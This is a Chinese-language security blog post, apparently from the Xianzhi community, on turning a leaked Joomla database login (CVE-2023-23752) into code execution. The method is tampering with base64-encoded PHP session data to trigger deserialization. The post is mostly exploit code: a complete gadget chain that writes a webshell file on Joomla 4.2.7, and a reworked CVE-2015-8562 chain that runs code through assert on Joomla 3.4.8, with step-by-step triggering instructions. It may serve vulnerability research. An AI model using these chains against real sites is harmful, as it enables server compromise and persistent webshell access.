文章首发于先知社区:https://xz.aliyun.com/t/14661
前言
去年,joomla爆出信息泄漏漏洞CVE-2023-23752,可泄漏数据库账号密码,连上数据库,修改完管理员账号密码,最后发现后台登录页面访问不到,还能怎么利用呢?
xss后台?其实,认真翻一下数据库就能找到更直接的答案

熟悉的php序列化数据,那是否可以修改该数据,然后反序列化呢?
joomla的session反序列化
joomla3.4.6之前,session默认直接存储在数据库中,修改即可反序列化,而从3.4.7开始,存储的格式又稍微有些变化,官方给session序列化的内容加了一层base64编码。
这部分可查看libraries/joomla/session/session.php
,3.4.7的代码中获取session数据base64解码后直接unserialize(
,并没有限制数据的类型

妥妥的可以反序列化,现在问题变成了寻找反序列化利用链
joomla4任意文件写入
以4.2.7的代码为例,全局搜索__destruct(
,一共就6处,很快找到libraries/src/Log/Logger/FormattedtextLogger.php
貌似有写文件的操作

跟进initFile()
函数

该函数根据$this->path
创建了目录,并将$this->generateFileHeader()
的结果写入了$this->path
文件中,跟进generateFileHeader(

在写入的内容中,$this->format
可控,可用于写入webshell代码,只需保证$this->options['text_file_no_php']
非空即可
该任意文件写入的反序列化链很短,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php namespace Joomla\CMS\Log\Logger { class FormattedtextLogger { protected $defer = true; protected $deferredEntries = ['1']; protected $path = '/var/www/html/tmp/test.php'; protected $options = array('text_file_no_php' => ['1']); protected $format = '<?php phpinfo();?>';
} }
namespace { $obj = new Joomla\CMS\Log\Logger\FormattedtextLogger(); $str = base64_encode(serialize($obj)); echo "joomla|".serialize($str); }
|
joomla3任意函数执行rce
joomla 3.4.5出过一个经典的反序列化漏洞CVE-2015-8562,反序列化链如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php
class JSimplepieFactory { } class JDatabaseDriverMysql {
} class SimplePie { var $sanitize; var $cache; var $cache_name_function; var $javascript; var $feed_url; function __construct() { $this->feed_url = "phpinfo();JFactory::getConfig();exit;"; $this->javascript = 9999; $this->cache_name_function = "assert"; $this->sanitize = new JDatabaseDriverMysql(); $this->cache = true; } }
class JDatabaseDriverMysqli { protected $a; protected $disconnectHandlers; protected $connection; function __construct() { $this->a = new JSimplepieFactory(); $x = new SimplePie(); $this->connection = 1; $this->disconnectHandlers = [ [$x, "init"], ]; } }
$a = new JDatabaseDriverMysqli(); echo serialize($a);
|
利用链基于此修改即可,但也有些许变化以及一些注意的点
首先,查看libraries/joomla/database/driver/mysqli.php
代码,从3.4.6开始,JDatabaseDriverMysqli
类的disconnect()
函数中,不再单纯的只是判断if($this->connection){

构造时采用$this->connection=new mysqli('','','','');
即可
其次,注意到在该漏洞中最终执行的php代码是phpinfo();JFactory::getConfig();exit;
,如果少了JFactory::getConfig()
漏洞便无法成功,为什么呢?
问题原因在于SimplePie
这个类的init()
函数,最终会将$this->feed_url
解析成uri,少了关键的:
就过不了判断,所以这里修改利用时需要注意!


最后,改造出rce的反序列化利用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <?php
class JSimplepieFactory {} class SimplePie_Sanitize {} class SimplePie_Registry {}
class SimplePie { var $sanitize; var $cache; var $cache_name_function; var $javascript; var $feed_url; function __construct() { $this->feed_url = "phpinfo();JFactory::getConfig();exit;"; $this->javascript = 9999; $this->cache_name_function = "assert"; $this->sanitize = new SimplePie_Sanitize(); $this->registry = new SimplePie_Registry(); $this->cache = true; } }
class JDatabaseDriverMysqli { protected $a; protected $disconnectHandlers; protected $connection; function __construct() { $this->a = new JSimplepieFactory(); $x = new SimplePie(); $this->connection = new mysqli('','','',''); $this->disconnectHandlers = [ [$x, "init"], ]; } }
$a = new JDatabaseDriverMysqli(); $str = base64_encode(serialize($a)); echo "joomla|".serialize($str);
|
利用
访问joomla首页,返回cookie拿到session_id
,修改xxx_session
表中该session_id
对应的data
,带着cookie再次访问首页触发反序列化漏洞
joomla4.2.7:

joomla3.4.8:

参考
https://xz.aliyun.com/t/12175
https://www.leavesongs.com/PENETRATION-code-execute-vulnerability.html